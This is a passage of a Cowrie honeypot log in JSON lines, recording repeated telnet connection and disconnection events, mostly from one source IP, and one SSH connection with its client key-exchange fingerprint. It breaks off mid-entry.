{"eventid":"cowrie.session.closed","duration":33.22845435142517,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:05.664771Z","src_ip":"23.111.140.22","session":"886386e6de3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36476,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5f9adb2b990","protocol":"telnet","message":"New connection: 23.111.140.22:36476 (10.17.0.5:23) [session: f5f9adb2b990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:06.082881Z"}
{"eventid":"cowrie.session.closed","duration":0.03857779502868652,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:06.121348Z","src_ip":"23.111.140.22","session":"f5f9adb2b990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37350,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c6f430221fa","protocol":"telnet","message":"New connection: 23.111.140.22:37350 (10.17.0.5:23) [session: 4c6f430221fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:06.816163Z"}
{"eventid":"cowrie.session.closed","duration":31.419750452041626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:06.845912Z","src_ip":"23.111.140.22","session":"532534a189b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17904567718506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:06.990883Z","src_ip":"23.111.140.22","session":"384fd7ecb2c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20405077934265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:07.282405Z","src_ip":"23.111.140.22","session":"ce85b4696571","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56830,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b8f35eda21d","protocol":"telnet","message":"New connection: 23.111.140.22:56830 (10.17.0.5:23) [session: 1b8f35eda21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:07.874170Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50985,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5d95056a9f0","protocol":"telnet","message":"New connection: 23.111.140.22:50985 (10.17.0.5:23) [session: e5d95056a9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:08.729465Z"}
{"eventid":"cowrie.session.closed","duration":33.14479851722717,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:08.761781Z","src_ip":"23.111.140.22","session":"ec4fc352e326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54624,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc6e7bb3ef76","protocol":"telnet","message":"New connection: 23.111.140.22:54624 (10.17.0.5:23) [session: dc6e7bb3ef76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:10.979895Z"}
{"eventid":"cowrie.session.closed","duration":30.60015344619751,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:11.188273Z","src_ip":"23.111.140.22","session":"2153b1c27f21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.589553117752075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:12.168971Z","src_ip":"23.111.140.22","session":"00fd1e7632bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878777027130127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:12.276838Z","src_ip":"23.111.140.22","session":"cffce25aa9b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33174,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f9a36dd50a2","protocol":"telnet","message":"New connection: 23.111.140.22:33174 (10.17.0.5:23) [session: 7f9a36dd50a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:13.218852Z"}
{"eventid":"cowrie.session.closed","duration":31.340662002563477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:13.438776Z","src_ip":"23.111.140.22","session":"784c5a89e16f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39304,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf871f15ab1c","protocol":"telnet","message":"New connection: 23.111.140.22:39304 (10.17.0.5:23) [session: bf871f15ab1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:14.293719Z"}
{"eventid":"cowrie.session.closed","duration":33.87888193130493,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:14.395276Z","src_ip":"23.111.140.22","session":"373d50d237fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.397265434265137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:14.618020Z","src_ip":"23.111.140.22","session":"88bf691aaabf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41424,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bf6c6587421","protocol":"telnet","message":"New connection: 23.111.140.22:41424 (10.17.0.5:23) [session: 0bf6c6587421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:15.036138Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39756,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ac8578dad5e","protocol":"telnet","message":"New connection: 23.111.140.22:39756 (10.17.0.5:23) [session: 1ac8578dad5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:15.461291Z"}
{"eventid":"cowrie.session.closed","duration":31.94994831085205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:15.482376Z","src_ip":"23.111.140.22","session":"befd5d8f5f39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.508010387420654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:18.918080Z","src_ip":"23.111.140.22","session":"1db5d69d238a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34106,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3fe37348060","protocol":"telnet","message":"New connection: 23.111.140.22:34106 (10.17.0.5:23) [session: b3fe37348060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:19.139998Z"}
{"eventid":"cowrie.session.closed","duration":32.39513278007507,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:20.844128Z","src_ip":"23.111.140.22","session":"6434fe389704","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.496052265167236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:21.138262Z","src_ip":"23.111.140.22","session":"d31af038c733","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60004,"dst_ip":"159.203.135.109","dst_port":23,"session":"25497a10b30f","protocol":"telnet","message":"New connection: 174.138.46.234:60004 (159.203.135.109:23) [session: 25497a10b30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:21.152067Z"}
{"eventid":"cowrie.session.closed","duration":32.33328676223755,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:21.561550Z","src_ip":"23.111.140.22","session":"c1dac04a2b13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60244,"dst_ip":"159.203.135.109","dst_port":23,"session":"701eae6e4f91","protocol":"telnet","message":"New connection: 174.138.46.234:60244 (159.203.135.109:23) [session: 701eae6e4f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:22.085404Z"}
{"eventid":"cowrie.session.closed","duration":32.239497661590576,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:22.524621Z","src_ip":"23.111.140.22","session":"403295312b7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33894,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fab8a45eedb","protocol":"telnet","message":"New connection: 23.111.140.22:33894 (10.17.0.5:23) [session: 7fab8a45eedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:22.590428Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34046,"dst_ip":"10.17.0.5","dst_port":23,"session":"22aa0561fd2d","protocol":"telnet","message":"New connection: 23.111.140.22:34046 (10.17.0.5:23) [session: 22aa0561fd2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:22.642588Z"}
{"eventid":"cowrie.session.closed","duration":32.19276833534241,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:22.868328Z","src_ip":"23.111.140.22","session":"03b7fe6c975a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9814937114715576,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:23.133408Z","src_ip":"174.138.46.234","session":"25497a10b30f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35866,"dst_ip":"10.17.0.5","dst_port":23,"session":"07e0b3a74eea","protocol":"telnet","message":"New connection: 23.111.140.22:35866 (10.17.0.5:23) [session: 07e0b3a74eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:23.297197Z"}
{"eventid":"cowrie.session.closed","duration":32.1183295249939,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:23.364448Z","src_ip":"23.111.140.22","session":"91e779751d36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59884,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8ea56f828c3","protocol":"telnet","message":"New connection: 174.138.46.234:59884 (159.203.135.109:23) [session: b8ea56f828c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:23.659606Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37278,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b231bfcb83d","protocol":"telnet","message":"New connection: 23.111.140.22:37278 (10.17.0.5:23) [session: 9b231bfcb83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:23.825744Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35362,"dst_ip":"10.17.0.5","dst_port":23,"session":"79500606b0cd","protocol":"telnet","message":"New connection: 23.111.140.22:35362 (10.17.0.5:23) [session: 79500606b0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:24.100336Z"}
{"eventid":"cowrie.session.closed","duration":31.131855726242065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:24.127798Z","src_ip":"23.111.140.22","session":"8aa4234217e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60704,"dst_ip":"159.203.135.109","dst_port":23,"session":"867705107858","protocol":"telnet","message":"New connection: 174.138.46.234:60704 (159.203.135.109:23) [session: 867705107858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:24.396920Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40302,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5ef73abefac","protocol":"telnet","message":"New connection: 23.111.140.22:40302 (10.17.0.5:23) [session: a5ef73abefac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:24.872920Z"}
{"eventid":"cowrie.session.closed","duration":32.847249031066895,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:24.881667Z","src_ip":"23.111.140.22","session":"b732107a80fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.46454095840454,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:25.704142Z","src_ip":"23.111.140.22","session":"c522c25020ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77496600151062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:26.148616Z","src_ip":"23.111.140.22","session":"683887d7a437","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.955676794052124,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:26.615149Z","src_ip":"174.138.46.234","session":"b8ea56f828c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34888,"dst_ip":"10.17.0.5","dst_port":23,"session":"bce21a06d25f","protocol":"telnet","message":"New connection: 23.111.140.22:34888 (10.17.0.5:23) [session: bce21a06d25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:27.973832Z"}
{"eventid":"cowrie.session.closed","duration":0.005190134048461914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:27.978916Z","src_ip":"23.111.140.22","session":"bce21a06d25f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49454,"dst_ip":"10.17.0.5","dst_port":23,"session":"97ea4304b5c9","protocol":"telnet","message":"New connection: 23.111.140.22:49454 (10.17.0.5:23) [session: 97ea4304b5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:28.015601Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49648,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a247f92c93e","protocol":"telnet","message":"New connection: 23.111.140.22:49648 (10.17.0.5:23) [session: 7a247f92c93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:28.080033Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49712,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3d4a1b38d38","protocol":"telnet","message":"New connection: 23.111.140.22:49712 (10.17.0.5:23) [session: d3d4a1b38d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:28.110139Z"}
{"eventid":"cowrie.session.closed","duration":32.29348564147949,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:28.711204Z","src_ip":"23.111.140.22","session":"c2c8b1ac9df5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48936,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2fef58a14d4","protocol":"telnet","message":"New connection: 23.111.140.22:48936 (10.17.0.5:23) [session: c2fef58a14d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:28.858339Z"}
{"eventid":"cowrie.session.closed","duration":30.707027912139893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:29.155166Z","src_ip":"23.111.140.22","session":"aa179c08dc10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.899566411972046,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:29.296370Z","src_ip":"174.138.46.234","session":"867705107858","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66960287094116,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:29.333666Z","src_ip":"23.111.140.22","session":"22bdb25f70e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.88923907279968,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:29.547485Z","src_ip":"23.111.140.22","session":"1eff8c0919c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.52319264411926,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:29.878513Z","src_ip":"23.111.140.22","session":"d31bbd1800c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.9572508335113525,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:30.042549Z","src_ip":"174.138.46.234","session":"701eae6e4f91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47742,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f251a5032f6","protocol":"telnet","message":"New connection: 23.111.140.22:47742 (10.17.0.5:23) [session: 3f251a5032f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:30.454315Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57006,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dcc40b5e69c","protocol":"telnet","message":"New connection: 23.111.140.22:57006 (10.17.0.5:23) [session: 8dcc40b5e69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:30.747208Z"}
{"eventid":"cowrie.session.closed","duration":39.766122817993164,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:30.905714Z","src_ip":"23.111.140.22","session":"26f74df2aa3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57942,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b4eabed2f5d","protocol":"telnet","message":"New connection: 23.111.140.22:57942 (10.17.0.5:23) [session: 9b4eabed2f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:31.019952Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34231,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c15daccf62c","protocol":"telnet","message":"New connection: 23.111.140.22:34231 (10.17.0.5:23) [session: 5c15daccf62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:32.604424Z"}
{"eventid":"cowrie.session.closed","duration":31.1126651763916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:33.272469Z","src_ip":"23.111.140.22","session":"81f0e5534250","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54972696304321,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:33.277791Z","src_ip":"23.111.140.22","session":"ff00c7acf65e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.122812271118164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:33.886958Z","src_ip":"23.111.140.22","session":"115e28e2c674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86002278327942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:34.221135Z","src_ip":"23.111.140.22","session":"9761a8dd0103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39801573753357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:35.233159Z","src_ip":"23.111.140.22","session":"8331d437cafd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.80445981025696,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:35.625438Z","src_ip":"23.111.140.22","session":"064e7938849d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81901574134827,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:36.372478Z","src_ip":"23.111.140.22","session":"29e2a0bdc914","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.84993267059326,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:36.652524Z","src_ip":"23.111.140.22","session":"b4dd5f65978a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46398,"dst_ip":"10.17.0.5","dst_port":23,"session":"322492dcfefe","protocol":"telnet","message":"New connection: 23.111.140.22:46398 (10.17.0.5:23) [session: 322492dcfefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:37.008970Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49464,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e72ff278851","protocol":"telnet","message":"New connection: 23.111.140.22:49464 (10.17.0.5:23) [session: 9e72ff278851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:37.086035Z"}
{"eventid":"cowrie.session.closed","duration":0.0052263736724853516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:37.091121Z","src_ip":"23.111.140.22","session":"9e72ff278851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.284546613693237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:37.100548Z","src_ip":"23.111.140.22","session":"4c6f430221fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":46298,"dst_ip":"10.17.0.5","dst_port":22,"session":"4880c1c81b3b","protocol":"ssh","message":"New connection: 202.145.0.61:46298 (10.17.0.5:22) [session: 4880c1c81b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:37.750087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:37.755409Z","src_ip":"202.145.0.61","session":"4880c1c81b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 